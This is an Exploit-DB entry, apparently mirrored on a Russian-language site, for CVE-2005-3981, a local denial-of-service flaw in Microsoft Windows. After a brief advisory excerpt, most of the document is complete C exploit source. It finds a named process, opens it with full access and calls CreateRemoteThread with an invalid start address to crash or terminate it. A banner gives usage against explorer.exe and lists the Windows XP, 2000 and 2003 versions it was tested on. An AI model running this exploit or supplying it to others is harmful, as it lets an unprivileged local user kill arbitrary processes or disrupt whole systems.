- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 26690
- Проверка EDB
-
- Пройдено
- Автор
- NIMA SALEHI
- Тип уязвимости
- DOS
- Платформа
- WINDOWS
- CVE
- cve-2005-3981
- Дата публикации
- 2005-12-01
C:
// source: https://www.securityfocus.com/bid/15671/info
Microsoft Windows is prone to a local denial of service vulnerability. This issue can allow an attacker to trigger a system wide denial of service condition or terminate arbitrary processes.
Reports indicate that a process can call the 'CreateRemoteThread' function to trigger this issue.
It was reported that this attack can be carried out by a local unprivileged user.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
BOOL exploit(char* chProcessName)
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
BOOL bFound = FALSE;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};
UINT uExitCode = 0;
DWORD dwExitCode = 0;
LPDWORD lpExitCode = &dwExitCode;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return (FALSE);
pe32.dwSize = sizeof(PROCESSENTRY32);
printf("\n[+] Search For Process ... \n");
while(!bFound && Process32Next(hProcessSnap, &pe32))
{
if(lstrcmpi(pe32.szExeFile, chProcessName) == 0)
bFound = TRUE;
}
CloseHandle(hProcessSnap);
if(!bFound){
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;
printf("[-] Sorry Process Not Find \n");
return(FALSE);
}
printf("[+] Process Find \n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
if(hProcess == NULL){
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;
printf("[-] Sorry Write Access Denied for This Process \n");
printf("[-] Exploit Failed :( \n");
return(FALSE);
}
printf("[+] Write Access Is allowed \n");
printf("[+] Send Exploit To Process ...\n");
CreateRemoteThread(hProcess,0,0,(DWORD (__stdcall *)(void *))100,0,0,0);
printf("[+] Successful :)\n");
return(pe32.th32ProcessID);
}
int main(int argc,char **argv)
{
char* chProcess = argv[1];
COORD coordScreen = { 0, 0 };
DWORD cCharsWritten;
CONSOLE_SCREEN_BUFFER_INFO csbi;
DWORD dwConSize;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
GetConsoleScreenBufferInfo(hConsole, &csbi);
dwConSize = csbi.dwSize.X * csbi.dwSize.Y;
FillConsoleOutputCharacter(hConsole, TEXT(' '), dwConSize,
coordScreen, &cCharsWritten);
GetConsoleScreenBufferInfo(hConsole, &csbi);
FillConsoleOutputAttribute(hConsole, csbi.wAttributes, dwConSize,
coordScreen, &cCharsWritten);
SetConsoleCursorPosition(hConsole, coordScreen);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_GREEN| FOREGROUND_INTENSITY) ;
if(argc < 2) {
printf("\n");
printf("
========================================================================== \n");
printf(" > Microsoft Windows CreateRemoteThread
Exploit < \n");
printf(" > BUG Find By Q7X ( Nima Salehi ) [email protected]
< \n");
printf(" > Exploited By Q7X ( Nima Salehi )
[email protected] < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED | FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);
printf(" > Compile : cl -o nima.c ( Win32/VC++ )
< \n");
printf(" > Usage : nima.exe Process
< \n");
printf(" > Example : nima.exe explorer.exe
< \n");
printf(" > Tested on : Windows XP (SP0 ,SP1 ,SP2) , Windows 2000
AdvServer (SP4) < \n");
printf(" > Windows 2000 Server (SP4), Windows 2003 (SP0 ,
SP1) < \n");
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED| FOREGROUND_INTENSITY) ;
printf(" > Copyright 2002-2005 By Ashiyane Digital Network
Security Team < \n");
printf(" > www.Ashiyane.com ( Free ) www.Ashiyane.net ( Not
Free ) < \n");
printf(" > Special Tanx To My Best Friend Behrooz_Ice
< \n");
printf("
========================================================================== \n");
}
else
exploit(chProcess);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
FOREGROUND_RED |FOREGROUND_GREEN|FOREGROUND_BLUE);
}
- Источник
- www.exploit-db.com